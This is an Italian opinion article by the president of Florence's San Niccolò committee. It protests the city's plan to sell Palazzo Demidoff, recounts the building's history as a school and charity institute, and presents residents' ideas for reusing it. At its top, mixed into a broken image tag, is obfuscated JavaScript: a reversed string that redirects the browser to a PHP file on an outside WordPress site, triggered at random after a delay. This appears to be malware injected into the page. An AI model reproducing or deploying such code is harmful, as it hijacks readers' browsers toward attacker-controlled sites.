Vende anche la storia di Firenze, Renzi e il caso dell'Istituto Demidoff

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2013/02/demidoff.jpg”>di Sara Nocentini, presidente Comitato di San Niccolò

Esistono luoghi che segnano fortemente la realtà in cui si inseriscono, non solo per la loro imponenza architettonica o per la loro bellezza, ma anche e soprattutto per la loro funzionalità. E’ attraverso un continuo e prolungato scambio con l’esterno che questi luoghi divengono parte essenziale della costruzione delle relazioni sociali e della comunità alla quale appartengono. Senza dubbio uno di questi è il Palazzo Demidoff, donato dalla famiglia omonima al Regno d’Italia e oggi parte del patrimonio del Comune di Firenze, che con una delibera approvata nello scorso mese di maggio, ha deciso di porre l’immobile nella lista dei beni alienabili.

Ripercorrere la storia di questa struttura getta luce sull’emersione di nuovi bisogni sociali tra l’Ottocento e il Novecento e di soluzioni per darvi risposta. Inizialmente sede della “Scuola per fanciulli”, l’edificio ospitava anche un presidio medico per i più poveri e una farmacia, che distribuiva gratuitamente medicinali, per divenire intorno alla metà dell’Ottocento un centro per la formazione dei giovani artigiani e delle giovani fanciulle, fino a quel momento escluse dall’istruzione scolastica.

A partire dagli anni ’30 del Novecento l’Istituto accoglie un educandato femminile, un asilo e la scuola elementare. Proprio la presenza della scuola e l’impegno politico di molti abitanti del rione vedranno l’Istituto attraversato dalle riflessioni sulla riforma della scuola degli anni Sessanta e Settanta, sulla necessità di superare una scuola di classe e di attivare e rafforzare il legame e lo scambio tra scuola, studenti e genitori.

Oggi il Demidoff, come viene chiamato nel rione, come avesse una vita propria, quasi totalmente inutilizzato, eccezion fatta per un centro diurno per disabili, e inserito frettolosamente in una lista di “cose vecchie” da vendere al miglior offerente, torna ad interrogarci sui nuovi bisogni sociali a cui fatichiamo a dare risposta e sulle soluzioni che invece dovremmo impegnarci a trovare. L’abbandono di spazi pubblici e privati e la conseguente speculazione per mettere brutalmente a valore gli immobili, spesso al di fuori di ogni contesto, e senza collegamento con le esigenze della popolazione, costituiscono un aspetto profondo del degrado della nostra città, che rimane frammentata da luoghi anonimi, rispetto ai quali essa stessa con le sue bellezze, la sua storia e la sua attrattività rischia di avere solo una funzione di servizio, incapace dunque di ripensarsi con essi.

San Niccolò, il suo instancabile, battagliero e coraggioso popolo, non può stare a guardare e mentre chiede all’amministrazione di sospendere la procedura di alienazione, ha iniziato a raccogliere idee per fare del Demidoff un nuovo laboratorio cittadino, guardando ai più importanti modelli europei di riqualificazione delle aree dismesse. Il 24 gennaio, con un’assemblea molto partecipata, i ricordi e i sogni per il futuro si sono intrecciati con la lucida consapevolezza che il cammino sarà difficile, ma emozionante. Arte, musica, teatro, servizi sociali sono le aree su cui lavoreremo per elaborare un progetto innovativo, di alta qualità, ed economicamente sostenibile, per tornare ad inserire il Demidoff là dove deve stare, a servizio del rilancio sociale ed economico della nostra città.

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